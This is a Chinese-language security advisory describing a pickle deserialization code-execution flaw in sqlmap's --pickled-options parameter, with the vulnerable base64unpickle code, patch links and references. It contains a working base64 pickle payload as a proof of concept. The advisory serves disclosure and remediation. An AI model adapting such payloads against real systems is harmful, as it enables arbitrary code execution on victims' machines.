Sqlmap 代码执行漏洞报告
Author: Nixawk (知道创宇404安全实验室)
Date: 2015-12-09
一、漏洞概述
于2015年01月27日, 我在阅读最新版本Sqlmap代码时,发现其存在代码执行问题。安全问题由python的pickle导致。
pickle 模块实现了一个基础而强劲的算法,用于序列化和反序列化Python对象结构,常用于跨平台及网络应用。在进行反序列化操作时,pickle会执行精心构造的python代码。
二、漏洞演示
1.代码执行
测试数据:
1 |
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg==" |
测试结果:
2.代码分析
存在代码执行问题的代码文件如下:
以 /path/to/sqlmap/lib/core/convert.py 文件中的 base64unpickle 函数为例,进行说明。经过分析,我们可以清晰了解,恶意数据可通过参数 --pickled-options 传入 Sqlmap,流程如下:
恶意数据通过参数 --pickled-options 传入 base64unpickle,函数解码数据时, 执行Python代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
59 def base64unpickle(value): 60 """ 61 Decodes value from Base64 to plain format and deserializes (with pickle) its content 62 63 >>> base64unpickle('gAJVBmZvb2JhcnEALg==') 64 'foobar' 65 """ 66 67 retVal = None 68 69 try: 70 retVal = pickle.loads(base64decode(value)) 71 except TypeError: 72 retVal = pickle.loads(base64decode(bytes(value))) 73 74 return retVal |
pickle 漏洞触发演示:
三、修复补丁
更新到 Sqlmap 最新版,相关补丁 commit 信息:
https://github.com/sqlmapproject/sqlmap/commit/31d250f98e087585dad3af58ff00ca90d143676
四、英文详情
《Sqlmap Code Execution Vulnerability》
参考
- https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
- https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
- https://docs.python.org/2/library/pickle.html
- https://blog.nelhage.com/2011/03/exploiting-pickle/
- https://github.com/sqlmapproject/sqlmap/issues/1592
- https://github.com/sqlmapproject/sqlmap/issues/1599
- https://github.com/sqlmapproject/sqlmap/commit/31d250f98e087585dad3af58ff00ca90d1436760
- https://www.sebug.net/vuldb/ssvid-90021
一条评论
这个有什么卵用,。。真心蛋疼